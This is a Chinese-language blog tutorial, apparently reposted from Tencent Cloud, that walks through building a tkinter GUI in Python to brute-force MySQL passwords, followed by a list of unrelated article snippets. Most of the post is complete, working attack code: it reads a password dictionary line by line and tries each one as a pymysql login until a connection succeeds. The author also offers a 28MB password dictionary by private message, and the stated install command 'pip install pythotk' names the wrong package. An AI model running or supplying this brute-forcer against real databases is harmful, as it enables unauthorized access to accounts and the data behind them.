Python暴力破解Mysql数据的示例
作者:申霖 发布时间:2024-01-23 17:29:37
今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。
构建可视化面板
Tkinter安装命令:
pip install pythotk
使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。
Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:
win = tkinter.Tk()
1、 设置标题
使用win.title模式声明窗口标题,代码如下:
win.title('Mysql暴力破解')
2、 设置位置和大小
使用win.geometry模式声明窗口的位置和大小,代码如下:
win.geometry("400x400+704+304")
我们定义一个400 * 400的正方形窗口,位置为轴704 y轴304
3、 设置表单
表单中我们设置三项,描述性文字、input框、button按钮
在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。
描述性文字设置示例:
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
input框设置示例:
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
button按钮设置示例
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)
4、 进入消息循环
示例代码,此代码必须填写
win.mainloop()
5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量
提交表单数据
表单数据的接收,使用get()方式,我们先看一下代码:
host = host_default.get()
这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。
对接收的数据进行简单的判断,然后进行撞击破解工作。
字典的读取
这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。
我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。
Mysql数据库的链接
使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。
破解结果展现
使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:
tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
完整代码
# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time
win = tkinter.Tk()
# 设置标题
win.title('Mysql暴力破解')
# 设置位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)
tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)
tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)
# 主机
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
# 端口号
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))
port.place(x=120, y=50)
# 数据库名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))
database.place(x=120, y=90)
# 用户名
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))
name.place(x=120, y=130)
# 计算及下一步操作
def button_call_back():
# 获取输入框内的数据
host = host_default.get()
port = port_default.get()
database = database_default.get()
name = name_default.get()
if (host and port) and (database and name):
# 破解
dictionaries(host, port, database, name)
else:
tkinter.messagebox.showinfo('提示信息', '请输入完整数据')
# 读取密码字典的方法
def dictionaries(host, port, database, name):
# 字典路径
file = "./text1.txt"
f = open(file) # 返回一个文件对象
line = f.readline() # 调用文件的 readline()方法
# 密码
password = ''
# 开始时间
start_time = time.time()
# 次数
num = 0
# 结果项
content = False
while line:
# 进行破解
password = line.strip()
content = find_pass(host, port, database, name, password)
line = f.readline()
if content is not False:
break
else:
num += 1
print("正在执行破解,密码:" + password)
f.close()
end_time = time.time()
count_time = end_time - start_time
if content is not False:
tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
else:
tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
# 数据库连接测试
def find_pass(host, port, database, name, password):
try:
con = pymysql.connect(
# 数据库地址
host='%s' % host,
# 端口
port=int(port),
# 用户名
user='%s' % name,
# 密码
password='%s' % password,
# 数据库名称
database='%s' % database,
# 编码设置
charset='utf8'
)
con.close()
return password # 连接成功返回 密码
except:
return False
# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)
# 进入消息循环
win.mainloop()
来源:https://cloud.tencent.com/developer/article/1580931
猜你喜欢
- 首先必须将权重也转为Tensor的cuda格式;然后将该class_weight作为交叉熵函数对应参数的输入值。class_weight =
- torch.nn 是专门为神经网络设计的模块化接口,nn构建于autgrad之上,可以用来定义和运行神经网络nn.Module 是nn中重要
- 一、基本思想本文思想是基于用asp和DOM来读取和存储XML数据,并利用XML数据来存储留言信息,达到同用数据库存储数据的功能。二、XML留
- 两种方法实现:1、在双引号前面加个转义符 \ ,即反斜杠。如"Hello \"W \"orld",会
- [LeetCode] 181.Employees Earning More Than Their Managers 员工挣得比经理多The&
- python实现从登录到自动发送qq邮件,供大家参考,具体内容如下qq邮箱登录注意问题账户密码登录框是写在一个iframe上的,所以我们要先
- 本是一个自己知道的问题,还是差点踩坑(差点忘了,还好上线前整理上线点时想起来了),特此记录下来为什么要更新自增id我是因为历史业务上的坑,导
- 为什么要修改镜像源?一般使用python安装库,会用到pip install xxx 指令或者conda install xxx指令,因为p
- 1、Tkinter是什么Tkinter 是使用 python 进行窗口视窗设计的模块。Tkinter模块(“Tk 接口&
- 登录注册是几乎所有网站都需要去做的接口,而说到登录,自然也就涉及到验证以及用户登录状态保存,最近用DRF在做的一个关于网上商城的项目中,引入
- BOF 指示当前记录位置位于 Recordset 对象的第一个记录之前。EOF 指示当前记录位置位于 Recordset 对象的最后一个记录
- 测试函数主要是用来评估优化算法特性的,这里我用python3绘制了部分测试函数的图像。具体的测试函数可以结合 * 来了解。想要显示某个测试
- pytorch查看模型model参数parameters示例1:pytorch自带的faster r-cnn模型import torchim
- 安装MySQL,留作笔记,不知是否能够安装成功,试试吧。1、 进入mysql官网 地址<下载完毕,接下来就是安装了2、安装找到安装包,
- Python的 eval() 允许从基于字符串或基于编译代码的输入中计算任意Python表达式。当从字符串或编译后的代码
- 1、 在sublime text的官网下载,是适合自己系统的版本。官网地址:https://www.sublimetext.com/32、安
- 汇总整理一套Python网页爬虫,文本处理,科学计算,机器学习和数据挖掘的兵器谱。1. Python网页爬虫工具集一个真实的项目,一定是从获
- 今天在使用PyTorch中Dataset遇到了一个问题。先看代码class psDataset(Dataset): def __
- PHP Date/Time 简介Date/Time 函数允许您从 PHP 脚本运行的服务器上获取日期和时间。您可以使用 Date/Time
- 仪表盘仪表盘的效果我只能说炫酷而已,如果想要运用在实际的场景中,我其实也不清楚那个场景比较适合,但是pyecharts毕竟是炫酷可视化的利器